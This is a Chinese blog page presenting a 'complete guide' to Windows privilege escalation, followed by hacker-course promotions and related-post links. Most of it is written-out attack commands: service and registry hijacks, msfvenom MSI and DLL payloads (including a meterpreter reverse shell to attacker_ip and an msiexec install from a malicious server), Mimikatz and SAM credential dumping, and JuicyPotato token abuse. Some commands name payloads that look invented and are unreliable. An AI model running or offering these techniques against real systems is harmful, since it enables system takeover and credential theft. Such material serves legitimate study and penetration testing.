【万字长文】深入解析:Windows 提权技术全攻略,从零基础到精通,收藏这篇就够了!

Windows提权方法大全汇总(值的收藏) 一、无引号服务路径 ( Trusted Service Paths ) 先说实用度,比较被动,而且比较看脸。 Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。 无引号服务路径有可能会导致这种情况的发生。 所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样 C:\Program Files\floder1\service.exe 因为空格的存在,Windows. 阅读详情

前言:权限?不存在的!

各位靓仔靓女们,行走在网络安全江湖,谁还没点儿“搞事情”的小心思?想不想把 Windows 系统玩弄于股掌之间,体验一把“我即是上帝”的快感?今天,就让咱来聊聊提权那些事儿,带你从菜鸟一路升级到“暗夜王者”!准备好了吗?发车啦!

1. 提权秘籍之葵花宝典:Windows 提权常用命令速查

工欲善其事,必先利其器。想玩转 Windows 提权,不掌握一些基本的命令怎么行?下面这份“葵花宝典”,助你快速了解系统信息,为后续操作打下坚实基础。记住,熟练运用这些命令,能让你在提权路上事半功倍!

命令描述
systeminfo打印系统信息(你的电脑啥配置,一览无遗)
whoami获取当前用户名(知道自己是谁很重要!)
whoami /priv列出当前帐户权限(看看自己都有哪些“特权”)
ipconfig网络配置信息(网络诊断小能手)
ipconfig /displaydns显示 DNS 缓存(缓存里藏着不少秘密哦)
route print打印路由表(网络世界的“地图”)
arp -a打印 ARP 表(IP 地址和 MAC 地址的对应关系)
hostname获取主机名(你的电脑在网络上的“身份证”)
net user列出用户(看看都有哪些“居民”)
net localgroup列出所有组(了解“社区”构成)
net view \127.0.0.1列出打开到当前计算机的会话(谁在访问你的电脑?)
net session列出其他机器打开的会话(你的电脑访问了谁?)
netsh firewall show config显示防火墙配置(你的“防火墙”是否坚固?)
DRIVERQUERY列出已安装的驱动(驱动程序大点兵)
tasklist /svc列出服务任务(服务进程一览)
net start列出启动的服务(正在运行的服务有哪些?)
dir /s foo在目录中搜索包含指定字符的项目(快速查找文件)
sc query列出所有服务(服务总览)
sc qc ServiceName找到指定服务的路径(服务的“老巢”在哪里?)
shutdown /r /t 0立即重启(重启大法好!)
type file.txt打印文件内容(快速查看文本文件)
icacls "C:Example"列出权限(查看文件或目录的访问权限)
wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁(你的系统安全吗?)
(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:LocalPath")利用 PowerShell 远程下载文件到本地(远程搬运工)
accesschk.exe -qwsu "Group"修改对象权限(小心使用,权限狗带!)

这些命令就像是提权路上的“导航仪”,指引你一步步走向“人生巅峰”。当然,光有“导航仪”还不够,还得知道怎么开车,下面咱们就来聊聊提权的各种“姿势”。

2. 本地权限提升:漏洞利用,一击致命!

Windows 系统并非完美无缺,总有一些“小瑕疵”等待我们去发现。利用这些“小瑕疵”,我们可以实现本地权限提升,直接从普通用户变身“超级管理员”!

这里给大家推荐几个“挖矿”的好地方:

  • GitHub 上的 Windows 内核漏洞利用:各种大佬分享的“挖矿”成果,拿来就能用!
  • Exploit-DB 本地漏洞利用:全球最大的漏洞库,总有一款适合你!
  • Pentest Lab Windows 内核漏洞利用:实战演练,提升技能!

友情提示: 挖矿有风险,操作需谨慎!建议在虚拟机里折腾,避免把自己的电脑搞崩了。另外,记得及时给系统打补丁,堵住那些已经被公开的“矿脉”。

3. 服务配置:看似不起眼,实则暗藏杀机!

Windows 服务就像是系统的“神经中枢”,一旦配置出现问题,就可能被我们利用,实现权限提升。下面就来扒一扒那些常见的服务配置错误:

3.1 服务路径没引号:一颗定时炸弹!

如果系统管理员在配置 Windows 服务时,忘记给可执行文件路径加上引号,那就等着被“爆菊”吧!

举个栗子:

C:\Program Files\Vulnerable Service\Sub Directory\service.exe

如果没有引号,系统可能会误以为 C:\Program.exe 才是要执行的文件。

检测方法:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

这条命令可以帮你快速找出那些“裸奔”的服务。

3.2 不安全的服务权限:谁都可以“动手动脚”!

如果服务权限配置不当,允许普通用户修改服务路径,那就意味着我们可以为所欲为了!

检测方法:

accesschk.exe -uwcqv "user" *

这条命令可以查看当前用户对各服务的权限。

sc qc "Service"

这条命令可以查看服务的详细配置。

利用方法:

sc config "Vulnerable" binpath="C:\malicious.exe"

修改服务路径,指向我们的恶意程序。

sc stop "Vulnerable"

停止服务。

sc start "Vulnerable"

启动服务,执行恶意代码。

3.3 可执行文件替换:李代桃僵,瞒天过海!

如果服务的可执行文件路径指向一个普通用户可写的目录,那就意味着我们可以狸猫换太子,把合法的程序替换成我们的恶意程序!

举个栗子:

icacls "C:\Program Files\VulnerableService" /grant Everyone:F

这条命令授予了所有用户对该目录的完全控制权。

3.4 注册表 ImagePath:改头换面,瞒天过海!

服务的可执行文件路径信息存储在注册表中,我们可以直接修改注册表,改变服务的启动路径。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f

这条命令修改了注册表中的 ImagePath,指向我们的恶意程序。

3.5 服务恢复选项:失败了?再来一次!

Windows 服务具有恢复选项,允许管理员在服务失败时配置执行的操作。我们可以修改这些选项,让服务在失败时执行我们的恶意代码。

举个栗子:

sc failure "VulnerableService" actions= restart/60000/run/60000

sc failureflag "VulnerableService" 1

sc config "VulnerableService" binpath= "C:\malicious.exe"

3.6 服务的启动类型:自动挡,你值得拥有!

如果某个服务被配置为手动启动,我们可以把它改成自动启动,让它在系统启动时自动执行我们的恶意代码。

举个栗子:

sc config "VulnerableService" start= auto

sc start "VulnerableService"

3.7 服务的依赖项:一荣俱荣,一损俱损!

我们可以利用服务之间的依赖关系,创建一个恶意服务,让它在依赖服务启动时自动启动。

举个栗子:

sc config "DependentService" depend= "VulnerableService"

sc create "VulnerableService" binpath= "C:\malicious.exe"

sc start "DependentService"

总结: 服务配置错误是提权的常见入口,安全人员应该定期检查服务配置,确保服务的安全性。

4. Windows 注册表:系统的“大脑”,也是漏洞的温床!

Windows 注册表存储了系统和应用程序的配置信息,就像是系统的“大脑”。但是,如果注册表配置不当,也可能成为攻击者的突破口。

4.1 自启动项:开机启动,先人一步!

Windows 启动时会自动运行某些注册表项中的程序。我们可以添加或修改这些项,让我们的恶意代码在系统启动时自动执行。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\malicious.exe" /f

4.2 服务配置中的 ImagePath:老套路,新玩法!

和前面提到的服务配置错误类似,我们可以直接修改注册表中的 ImagePath,改变服务的启动路径,执行我们的恶意代码。

4.3 AlwaysInstallElevated:MSI 文件的“免死金牌”!

AlwaysInstallElevated 是一种允许非管理员用户以 SYSTEM 权限运行 MSI 文件的设置。如果这个设置被启用,那就意味着我们可以直接执行恶意 MSI 文件,获取 SYSTEM 权限。

检测方法:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

利用方法:

msiexec /i malicious.msi

4.4 注册表键权限:谁都可以“指手画脚”!

如果某些注册表键配置了不安全的权限,允许低权限用户修改或删除这些键,我们就可以利用这一点来更改系统配置或植入恶意代码。

举个栗子:

icacls "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /grant Everyone:F

4.5 安全描述符定义语言(SDDL):权限控制的“密码”!

注册表项的安全描述符定义语言(SDDL)字符串定义了谁可以访问该项。我们可以修改 SDDL 字符串,获得对某些注册表项的完全控制权。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /t REG_SZ /v "Security" /d "D:(A;;GA;;;WD)" /f

4.6 环境变量劫持:偷梁换柱,瞒天过海!

Windows 系统中的某些环境变量值存储在注册表中,我们可以通过修改这些值来劫持系统行为。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "Path" /t REG_EXPAND_SZ /d "C:\malicious;%" /f

4.7 注册表钩子:埋下“地雷”,坐收渔利!

我们可以在注册表中添加钩子,让我们的恶意代码在某些注册表项被访问时自动执行。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\target.exe" /v "Debugger" /t REG_SZ /d "C:\malicious.exe" /f

4.8 AppInit_DLLs 注入:釜底抽薪,控制全局!

通过修改 AppInit_DLLs 注册表项,我们可以将 DLL 注入到所有进程中,从而获得系统控制权。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\malicious.dll" /f

4.9 启动与恢复设置:崩溃了?也不放过你!

我们可以修改系统的启动与恢复设置,让我们的恶意代码在系统崩溃时自动执行。

举个栗子:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "AutoReboot" /t REG_DWORD /d "0" /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "DumpFile" /t REG_EXPAND_SZ /d "C:\malicious.dmp" /f

总结: 注册表是系统的核心配置数据库,安全人员应该加强对注册表的监控和管理,及时发现和修复潜在的漏洞。

5. 不安全的文件系统权限:打开“后门”,任你进出!

不安全的文件系统权限是攻击者常用的提权手段之一。如果文件系统权限配置不当,就可能被我们利用,轻松实现权限提升。

5.1 可写的系统目录:随意涂鸦,污染系统!

如果某些系统目录被错误配置为对所有用户可写,我们就可以在这些目录中放置恶意文件,让它们在系统启动或用户执行相关程序时自动运行。

举个栗子:

icacls "C:\Windows\System32" /grant Everyone:F

5.2 可写的程序文件:李代桃僵,瞒天过海!

和前面提到的服务配置错误类似,如果某些程序文件被配置为对所有用户可写,我们就可以替换这些程序文件,让用户在执行程序时运行我们的恶意代码。

举个栗子:

icacls "C:\Program Files (x86)\VulnerableProgram" /grant Everyone:F

5.3 可写的计划任务:定时炸弹,威力无穷!

计划任务可以被配置为定期执行某些操作。我们可以创建或修改计划任务,让它们执行我们的恶意代码。

举个栗子:

schtasks /create /tn "MaliciousTask" /tr "C:\malicious.exe" /sc daily /st 12:00

5.4 可写的启动项:开机启动,先人一步!

和前面提到的注册表自启动项类似,如果某些启动项路径对所有用户可写,我们就可以在这些启动项路径中放置恶意文件,让它们在系统启动时自动运行。

举个栗子:

icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /grant Everyone:F

5.5 可写的服务二进制文件:狸猫换太子,防不胜防!

和前面提到的服务配置错误类似,如果 Windows 服务的二进制文件路径指向一个对非管理员用户可写的目录,我们就可以替换这些二进制文件,让服务在启动时运行我们的恶意代码。

举个栗子:

icacls "C:\Program Files\VulnerableService" /grant Everyone:F

5.6 系统备份文件:宝藏,还是陷阱?

一些系统备份文件可能包含敏感信息或具有不安全的文件权限。我们可以利用这些文件进行提权或信息窃取。

举个栗子:

icacls "C:\Windows\System32\config\SAM" /grant Everyone:F

5.7 可写的日志文件:掩人耳目,暗度陈仓!

如果某些日志文件被配置为对所有用户可写,我们可以利用这些日志文件来隐藏恶意活动或执行代码注入。

举个栗子:

icacls "C:\Program Files\VulnerableApp\logs" /grant Everyone:F

5.8 可写的环境变量目录:暗箱操作,控制全局!

如果环境变量目录被错误配置为对所有用户可写,我们可以修改这些目录中的文件,让系统或应用程序在启动时执行我们的恶意代码。

举个栗子:

icacls "C:\Users\Public" /grant Everyone:F

总结: 文件系统权限是系统安全的重要组成部分,安全人员应该加强对文件系统权限的配置和管理,及时发现和修复潜在的漏洞。

6. AlwaysInstallElevated:MSI 文件的“尚方宝剑”!

还记得前面提到的 AlwaysInstallElevated 吗?它允许非管理员用户以 SYSTEM 权限运行 Microsoft Windows 安装程序包(.MSI 文件)。如果这个设置被启用,那就意味着我们可以直接执行恶意 MSI 文件,获取 SYSTEM 权限。

6.1 检查 AlwaysInstallElevated 设置:先看看有没有“尚方宝剑”!

首先,我们需要检查系统中是否启用了 AlwaysInstallElevated 设置。可以通过查询以下注册表项来完成:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果返回的值为 1,表示该设置已启用。

6.2 创建并执行恶意 MSI 文件:手握“尚方宝剑”,为所欲为!

如果 AlwaysInstallElevated 设置启用,攻击者可以创建一个恶意 MSI 文件,并以 SYSTEM 权限执行。以下是一个创建恶意 MSI 文件的示例:

msfvenom -p windows/exec CMD=calc.exe -f msi -o malicious.msi

然后,通过以下命令执行恶意 MSI 文件:

msiexec /i malicious.msi

6.3 利用 msiexec 命令下载并执行恶意文件:远程“尚方宝剑”,隔空取物!

攻击者还可以利用 msiexec 命令下载并执行恶意文件。以下是一个示例:

msiexec /i http://malicious.server/malicious.msi

6.4 创建一个具有管理员权限的用户:空手套白狼,变身“管理员”!

通过恶意 MSI 文件,攻击者可以创建一个具有管理员权限的新用户。以下是创建恶意 MSI 文件的步骤:

msfvenom -p windows/adduser USER=hacker PASS=Password123 -f msi -o adduser.msi

执行 MSI 文件创建新用户:

msiexec /i adduser.msi

6.5 提取敏感信息:顺手牵羊,满载而归!

攻击者可以创建一个 MSI 文件,用于提取系统中的敏感信息,如密码哈希或注册表键值。以下是一个示例:

msfvenom -p windows/gather/hashdump -f msi -o hashdump.msi

执行 MSI 文件提取密码哈希:

msiexec /i hashdump.msi

6.6 运行 PowerShell 脚本:指哪打哪,灵活自如!

攻击者可以利用 MSI 文件运行复杂的 PowerShell 脚本,以执行多步骤的攻击。以下是创建一个运行 PowerShell 脚本的恶意 MSI 文件:

msfvenom -p windows/powershell_exec -f msi -o ps_script.msi CMD="powershell -ExecutionPolicy Bypass -File C:\malicious.ps1"

执行 MSI 文件运行 PowerShell 脚本:

msiexec /i ps_script.msi

总结: AlwaysInstallElevated 漏洞是提权的捷径,安全人员应确保在系统中禁用此设置,以防范潜在的攻击。

7. 凭证窃取:偷梁换柱,登录“人生巅峰”!

凭证窃取是攻击者常用的手段之一,通过获取系统中的用户凭证,攻击者可以进一步提升权限或横向移动到其他系统。

7.1 使用 Mimikatz 获取密码哈希:神器在手,天下我有!

Mimikatz 是一个强大的工具,可以从内存中提取明文密码、哈希、PIN 码和 Kerberos 票证。

示例:

# 启用 SeDebugPrivilege
privilege::debug

# 提取当前会话的所有凭证
sekurlsa::logonpasswords

7.2 从 SAM 文件中提取密码哈希:挖坟掘墓,获取“遗产”!

SAM 文件(Security Account Manager)中存储了本地用户的密码哈希。攻击者可以利用工具从该文件中提取哈希值。

示例:

# 导出 SAM 文件和 SYSTEM 文件
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system

# 使用工具提取哈希
samdump2 C:\sam C:\system

7.3 利用 Windows Credential Manager:顺手牵羊,不费吹灰之力!

Windows Credential Manager 存储了用户的凭证,包括用户名和密码。攻击者可以使用工具读取这些凭证。

示例:

# 使用 CredDump 提取凭证
python cred_dump.py

7.4 利用组策略首选项(GPP)密码:捡漏,捡到宝了!

组策略首选项(GPP)可能包含明文密码,存储在 SYSVOL 共享中的 XML 文件中。攻击者可以读取这些文件并解密密码。

示例:

# 搜索含有 cpassword 的 XML 文件
dir \\<domain>\SYSVOL\<domain>\Policies\ /s /b | findstr cpassword

# 解密 GPP 密码
gpp-decrypt <encrypted_password>

7.5 从注册表中提取凭证:大海捞针,总有收获!

某些应用程序和服务会将凭证存储在注册表中。攻击者可以使用注册表查询命令提取这些凭证。

示例:

# 查询注册表中的凭证
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

7.6 综合利用示例:组合拳,威力更强!

综合利用多种凭证窃取技术,攻击者可以在短时间内获取大量的凭证。例如,攻击者可以先使用 Mimikatz 提取当前登录用户的凭证,再从 SAM 文件中提取本地用户的密码哈希,最后利用 GPP 和注册表中的信息,获取域管理员的凭证。

总结: 凭证是系统的“钥匙”,安全人员应加强对系统凭证的保护,包括定期清理内存中的明文密码,限制对 SAM 文件和注册表的访问权限,以及避免在组策略中存储明文密码。

8. 令牌权限利用:借鸡生蛋,狐假虎威!

令牌权限利用(Token Privileges Exploitation)是指滥用 Windows 系统中的令牌权限,以提升权限或执行特权操作。

8.1 SeDebugPrivilege:调试神器,为所欲为!

SeDebugPrivilege 允许用户调试和调整系统中的任何进程。这通常用于注入恶意代码或劫持高权限进程。

示例:

# 启用 SeDebugPrivilege
whoami /priv

# 利用 SeDebugPrivilege 附加到高权限进程并注入代码
mimikatz.exe "privilege::debug" "token::elevate" "exit"

8.2 SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilege:移花接木,瞒天过海!

这些权限允许用户模仿或分配新的主令牌,这些权限在某些服务和应用程序中非常常见。

示例:

# 利用 JuicyPotato 提升权限
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606B6-2631-43A8-9D99-2D5B86F82DE4}

8.3 SeBackupPrivilege 和 SeRestorePrivilege:备份恢复,暗度陈仓!

这些权限允许用户备份和恢复文件,即使这些文件是系统文件或其他用户的文件。这可以用来读取或写入敏感文件。

示例:

# 使用 SeBackupPrivilege 读取敏感文件
privilege::debug
privilege::backup
token::elevate
lsadump::sam

8.4 SeTcbPrivilege(Trust Computer Base):终极权限,掌控一切!

SeTcbPrivilege 允许用户直接与系统交互以执行任何操作,通常只有本地系统帐户才有此权限。

示例:

# 通过 SeTcbPrivilege 提升权限
mimikatz.exe "privilege::tcb" "token::elevate" "exit"

8.5 SeLoadDriverPrivilege:驱动人生,掌控内核!

SeLoadDriverPrivilege 允许用户加载和卸载设备驱动程序。攻击者可以利用这一权限加载恶意驱动程序,从而在内核级别执行代码。

示例:

# 使用 SeLoadDriverPrivilege 加载恶意驱动程序
sc create MaliciousDriver binPath= "C:\path\to\malicious.sys" type= kernel
sc start MaliciousDriver

8.6 综合利用示例:组合出击,所向披靡!

综合利用多种令牌权限可以达到更复杂和深远的攻击效果。例如,攻击者可以利用 SeImpersonatePrivilege 获取高权限令牌,再利用 SeDebugPrivilege 调试系统进程,最后利用 SeLoadDriverPrivilege 加载恶意驱动程序,达到完全控制系统的目的。

总结: 令牌权限是系统安全的关键,安全人员应特别注意用户权限配置和令牌权限管理,以防范潜在的攻击。

9. DLL 劫持:移花接木,借刀杀人!

DLL 劫持(DLL Hijacking)是指当应用程序在加载 DLL 时,如果未指定完全路径或使用不安全的路径搜索顺序,攻击者可以将恶意 DLL 注入应用程序的执行流程,从而获得执行权限。

9.1 利用程序搜索顺序劫持 DLL:狸猫换太子,防不胜防!

当应用程序加载 DLL 时,会按照预定义的搜索顺序查找 DLL 文件。攻击者可以在高优先级路径中放置恶意 DLL 文件,从而劫持应用程序。

示例:

# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll

# 将恶意 DLL 文件放置在应用程序目录中
copy evil.dll "C:\Program Files\VulnerableApp\"

9.2 劫持系统路径中的 DLL:污染系统,殃及池鱼!

攻击者可以在系统路径中放置恶意 DLL 文件,以劫持常用应用程序或服务。

示例:

# 将恶意 DLL 文件放置在系统路径中
copy evil.dll "C:\Windows\System32\"

9.3 劫持特定服务的 DLL:控制服务,掌控全局!

某些服务在启动时会加载特定的 DLL 文件,攻击者可以替换这些 DLL 文件,从而在服务启动时执行恶意代码。

示例:

# 停止目标服务
sc stop TargetService

# 替换服务的 DLL 文件
copy evil.dll "C:\Program Files\TargetService\service.dll"

# 启动目标服务
sc start TargetService

9.4 利用注册表中的 DLL 劫持:修改配置,暗度陈仓!

注册表中的某些键值会指定 DLL 文件路径,攻击者可以修改这些路径,指向恶意 DLL 文件。

示例:

# 修改注册表键值
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\evil.dll" /f

9.5 利用加载库函数劫持 DLL:精准打击,各个击破!

开发人员使用 LoadLibrary 函数加载 DLL 文件时,如果未指定完全路径,攻击者可以利用这一点,放置恶意 DLL 文件。

示例:

# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll

# 将恶意 DLL 文件放置在应用程序工作目录中
copy evil.dll "C:\Path\To\VulnerableApp\"

9.6 综合利用示例:组合出击,无懈可击!

综合利用多种 DLL 劫持技术,攻击者可以在目标系统中实现持久化控制。例如,攻击者可以先利用程序搜索顺序劫持常用应用程序的 DLL 文件,然后通过修改注册表键值劫持系统启动时加载的 DLL 文件,最后利用加载库函数劫持特定应用程序的 DLL 文件,实现对系统的全面控制。

总结: DLL 劫持是提权的常用手段,安全人员应特别注意应用程序和系统的 DLL 加载路径,确保使用完全路径加载 DLL 文件,并定期扫描系统中的可疑 DLL 文件,以防范潜在的攻击。

10. 提权工具箱:有了它们,提权 So Easy!

江湖行走,怎能没有几件趁手的兵器?下面这些工具和框架,可以帮助你简化提权过程,提升效率:

  • Metasploit: 渗透测试界的“瑞士军刀”,包含了大量的提权模块。
  • Sherlock: 快速扫描系统,找出存在的已知提权漏洞。
  • windows-privesc-check: 检查 Windows 系统中权限配置错误的利器。
  • Windows-Exploit-Suggester: 根据系统补丁级别,推荐合适的漏洞利用方法。
  • PowerUp: PowerSploit 模块之一,自动化提权过程,懒人必备!
  • Nishang: PowerShell 脚本合集,包含各种提权方法,总有一款适合你。

总结: 善用工具,可以让你在提权路上事半功倍,成为真正的“暗夜王者”!

最后的BB:

感谢各位小伙伴看到这里,希望这篇“提权宝典”对你有所帮助。提权之路漫漫,需要不断学习和实践。记住,安全无小事,时刻保持警惕,才能在网络安全的世界里游刃有余!
```

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

系统提权之:Windows 提权 郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。 Windows 提权1 利用漏洞提权1.1 手工查找系统缺失补丁1.2 Windows 补丁审计工具1.2.1 Windows-Exploit-Suggester1.2.2 Sherlock1.3 MSF 模块查找可利用漏洞2 利用 Windows 配置错误提权2.1 系统服务权限配置错误2.1.1 利用 Po. 阅读详情

相关推荐

日企求职SPI测试全攻略:从题型解析到实战技巧

在求职筛选环节,标准化职业适应性测试是评估候选人综合能力的重要工具。这类测试通常融合了语言理解、逻辑推理与性格评估等多个维度,其核心原理在于通过限时、标准化的题目设计,高效衡量个人的基础素养与岗位匹配度。对于希望进入大型企业,尤其是日企技术岗位的求职者而言,掌握此类测试的应对策略具有极高的技术价值。它不仅能够帮助求职者跨越招聘流程中的首道筛选关卡,更能系统化地提升在高压环境下快速解题与稳定输出的能力。应用场景明确聚焦于目标进入日本综合商社、制造业、金融及IT等领域企业的应届生和转职者。本文将深入解析SPI测

weixin_34413802的博客 515

linux权限数字‘755’,‘700’等代表的含义

444 r–r--r– 600 rw------- 644 rw-r–r-- 666 rw-rw-rw- 700 rwx------ 744 rwxr–r-- 755 rwxr-xr-x 777 rwxrwxrwx 从左至右, 1-3位数字代表文件所有者的权限, 4-6位数字代表同组用户的权限, 7-9数字代表其他用户的权限。 读取权限:等于4 用 r 表示 写入权限:等于2 用 w 表示 执行权限:等于1 用 x 表示 例如: 755 7: 4+2+1 rwx 所有者具有读取、写入、执行.

WILDCHAP_的博客 7943

告别文件重命名!统信UOS 1060开启长文件名支持的保姆级图文教程(附UDOM工具箱下载)

本文详细介绍了如何在统信UOS 1060系统中开启长文件名支持,解决从Windows迁移文件时的兼容性问题。通过UDOM工具箱这一图形化工具,用户可以轻松实现长文件名管理,确保项目文件和文档的完整性。教程包含系统验证、工具安装、功能启用及故障排除等完整步骤,帮助用户无缝衔接国产操作系统。

weixin_30268921的博客 1028

【内网安全】——Windows提权姿势

超详细的windows提权姿势汇总

Demo不是emo的博客 6465

Windows/Mac双平台实测:这样用Cherry Studio接Claude3比官网省80%

本文详细评测了在Windows和Mac平台上使用Cherry Studio高效调用Claude3模型的实战方法,相比官方渠道可节省高达80%的费用。通过优化设置、成本控制策略和高级应用场景分析,帮助用户实现高性能与低成本的完美平衡。

u0v1w2x3的博客 673

STM32 Proteu直流电机正反转控制系统限位开关-0035

硬件组成:STM32F103C6单片机 +L298N电机控制电路+直流电机+3个按键(正转、反转、停止)+LED指示灯(正转、反转、停止)+限位开关(正限位 反限位) 1.通过3个按键(正转、反转、停止)控制电机的正转、反转、停止。 2.有3个LED指示灯,正转时正转指示灯亮。反转停止对应反转停止指示灯亮。 3.有自动正转反转停止功能,正转时当正限位按键按下时说明正转到最大距离。此时自动停止。反转一样。

zhaxiaobian_er的博客 2003

Windows常见的几种提权方法

零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全—杰斯 提权,提高自己在服务器中的权限,主要针对网站渗透过程中,当渗透某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限,通常提权是把普通用户的权限提升到管理员权限或者系统权限 在渗透测试过程中,拿到一个webshell之后,一般来说,我们的权限都是目标服务器中间件的权限。 这个时候就需要利用各种漏洞来提升自己的权限,从而能够获得对目标服务器的控制。 1.补丁查询法 简介 补丁一般都是为了应对计算机中存在的漏洞,为了更好的优化计算机的

hackzkaq的博客 1万+

数字后端实现Innovus教程之手把手教你N种高亮timing path和clock tree方法

数字IC后端设计实现Innovus教程之手把手教你N种高亮timing path和clock tree方法

weixin_37584728的博客 3602

【万字长文】深入解析:Windows 提权技术全攻略,从零基础到精通,收藏这篇就够了!_sherlock 提权扫描

各位靓仔靓女们,行走在网络安全江湖,谁还没点儿“搞事情”的小心思?想不想把 Windows 系统玩弄于股掌之间,体验一把“我即是上帝”的快感?今天,就让咱来聊聊提权那些事儿,带你从菜鸟一路升级到“暗夜王者”!准备好了吗?发车啦!注册表项的安全描述符定义语言(SDDL)字符串定义了谁可以访问该项。我们可以修改 SDDL 字符串,获得对某些注册表项的完全控制权。;GA;;;WD)" /f提权之路漫漫,需要不断学习和实践。记住,安全无小事,时刻保持警惕,才能在网络安全的世界里游刃有余!```

喜欢Python编程的程序员柚柚呀 2032

【软考高项】五十一、常见必会的几种进度网络图(单代号、双代号、七格图、横道图)

软考高项计算题进度网络图画图介绍

有莘不破的博客 3万+

立创EDA实战:基于NE555的夜间氛围呼吸灯电路设计与模式切换

本文详细介绍了使用立创EDA设计基于NE555芯片的夜间氛围呼吸灯电路。项目核心是利用NE555产生PWM信号,并通过RC充放电电路实现LED亮度的缓慢周期性变化,形成呼吸效果。文章手把手教学,涵盖从电路原理分析、元件参数计算,到在立创EDA中进行原理图绘制、PCB布局布线,直至焊接调试的完整硬件设计流程,是电子爱好者入门实战的经典项目。

weixin_42153793的博客 127

【万字长文】计算机安全硬核指南:Windows 病毒总述、脚本病毒基础定义、脚本语言概念与主流类型及无文件攻防实战

在深入脚本病毒之前,我们必须先回归本质。计算机病毒(Computer Virus)是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或程序代码。感染性、寄生性、隐蔽性、潜伏性与触发性。💡小贴士:病毒、蠕虫与木马的区别病毒(Virus):必须寄生于宿主文件(如EXE、文档),依赖用户交互(如双击)触发。蠕虫(Worm):无需宿主,利用网络漏洞自我复制和传播(如冲击波、WannaCry)。木马(Trojan)

吾为热爱计科,致力于知识分享的践行者,此博客是我在这条道路上留下的足迹。 232

推理篇第3节:TensorRT基础——Builder、Engine、ExecutionContext生命周期

TensorRT模型优化与推理流程摘要 TensorRT是NVIDIA的深度学习推理优化器,通过Builder、Engine和ExecutionContext三阶段实现高效推理。Builder负责编译模型,执行图优化和kernel选择;Engine是优化后的推理计划;ExecutionContext管理运行时执行。编译期进行重量级优化(如算子融合、kernel调优),运行时快速执行。TensorRT 10.x引入新API,推荐使用buildSerialized方法。构建流程包括创建Builder、网络定义、

